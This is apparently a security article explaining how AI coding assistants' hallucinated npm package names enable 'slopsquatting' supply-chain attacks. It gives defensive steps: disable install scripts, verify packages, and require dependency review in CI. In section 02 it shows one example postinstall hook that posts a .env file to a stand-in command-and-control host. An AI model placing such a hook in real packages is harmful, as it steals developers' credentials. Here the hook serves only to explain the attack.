NPM Roulette: When Your AI Hallucinates a Dependency and Literally Cooks Your Mac

01 // The AI typosquatting pipeline

You were not unlucky. You accepted an unverified name as authority.

Traditional typosquatting waits for a human to misspell a real dependency. Slopsquatting waits for a model to invent a plausible one. The model has learned naming patterns—framework, capability, and a comforting suffix such as -utils or -helper—without possessing a live, authoritative registry in its weights. The result can look semantically perfect while resolving to nothing at generation time.

The scale is not hypothetical. The study We Have a Package for You! generated 576,000 JavaScript and Python samples across 16 models. It reported average hallucinated-package rates of at least 5.2% for commercial models and 21.7% for open models, producing 205,474 unique invented names. A May 2026 replication tested five newer frontier models across 199,845 paired prompts. Rates narrowed to 4.62–6.10%, yet 127 names were invented by all five models. Better models reduced the spread; they did not delete the attack surface.

An attacker does not need a magical model exploit. A loop that asks ordinary questions, extracts package-shaped strings, checks registry availability, and counts recurrence is enough. The real force multiplier is the developer who interprets fluent output as package provenance. Cursor did not grant trust. Tab did.

02 // The postinstall tragedy

npm install is capable of executing code, not merely copying files.

npm lifecycle hooks include preinstall, install, and postinstall. When enabled, they run during dependency installation with the operating-system privileges of the developer invoking npm. On a Mac, that normally means your user account—not automatic root—but your user can already read most source trees, shell configuration, project credentials, and whatever secrets you irresponsibly left beside package.json. macOS privacy controls may protect some locations; they are not a sandbox for every development directory.

{
  "scripts": {
    "postinstall":
      "curl -X POST --data-binary @DEMO_FIXTURE.env https://c2.example.invalid/collect"
  }
}

That toy line also simplifies reality: dependency scripts commonly run from the installed package directory, so @.env does not guarantee access to the application’s root file. Real malware can search readable locations, inspect environment variables, fingerprint cloud tooling, or launch a second-stage process. It can also hide behavior behind minification, encoded strings, delayed execution, platform checks, or an apparently legitimate native build.

This is why an SCA check that runs only after merge is necessary but insufficient. The first blast radius is the developer workstation. If that workstation holds production AWS credentials, signing keys, an npm token, and a logged-in GitHub session, your local convenience has quietly become enterprise infrastructure.

03 // The DevSecOps aura scorecard

How much dependency-management aura do you actually have?

The serious metric underneath the jokes is independent verification. A package name is an external executable dependency. It deserves the same scrutiny whether it came from a senior engineer, a Stack Overflow answer, or a glowing autocomplete box that says “recommended.”

04 // The evergreen engineering fix

Make installation a reviewed transition, not an autocomplete side effect.

npm view <pkg> version time maintainers repository scripts dist.integrity
npm pack <pkg>@<exact-version> --ignore-scripts
tar -tf <downloaded-package>.tgz

npm config set ignore-scripts true --location=user
npm config get ignore-scripts
npm ci --ignore-scripts

npm approve-scripts --allow-scripts-pending
npm approve-scripts sharp
npm config set strict-allow-scripts true --location=project

05 // SCA before merge, behavior before trust

Put dependency review where the pull request cannot ignore it.

GitHub’s dependency review shows direct and transitive changes introduced by a pull request and can fail a required check when a vulnerable version appears. That gives the lockfile an enforceable diff. Add a behavior-focused service when your threat model includes malicious packages: Socket documents signals for install scripts, network access, environment-variable access, filesystem access, shell access, obfuscation, and newly published packages. Snyk’s GitHub Actions integration adds vulnerability and policy checks for Node projects.

name: dependency-policy
on: pull_request

permissions:
  contents: read

jobs:
  review:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/dependency-review-action@v4

For Socket or Snyk, start from the vendor’s current workflow, grant the smallest permissions it needs, store tokens in GitHub Actions secrets, and pin third-party actions to a reviewed commit SHA rather than a floating branch. Make the check required in branch protection. A dashboard nobody must obey is security-themed interior decoration.

Finally, teach the AI a boundary it cannot negotiate: it may propose a dependency, but it may not install one. Require the agent to produce the package’s official registry URL, repository, release age, reason the standard library is insufficient, and the exact permissions or lifecycle behavior it introduces. The human approves the name; the sandbox performs first contact; CI reviews the resulting tree.

06 // The ten-second pause

Before you run the command the model wrote

• Verify identity.

  Does the package exist in the official registry, and does its repository belong to the organization you expect?

• Check time.

  Was it published yesterday, transferred recently, or revived after years of silence?

• Inspect scripts.

  Does installation execute shell, native compilation, downloads, or opaque JavaScript?

• Reduce exposure.

  Would this process inherit production credentials, signing material, registry tokens, or unrestricted egress?

• Demand necessity.

  Can existing code, a maintained dependency, or ten lines of local logic solve the problem with less supply-chain surface?

AI did not abolish dependency management. It made plausible names cheaper to generate and dangerous decisions faster to execute. Keep the speed. Remove the blind trust. If you cannot explain who published the package, what runs during installation, and why your machine is allowed to expose its secrets to that code, do not spin the wheel.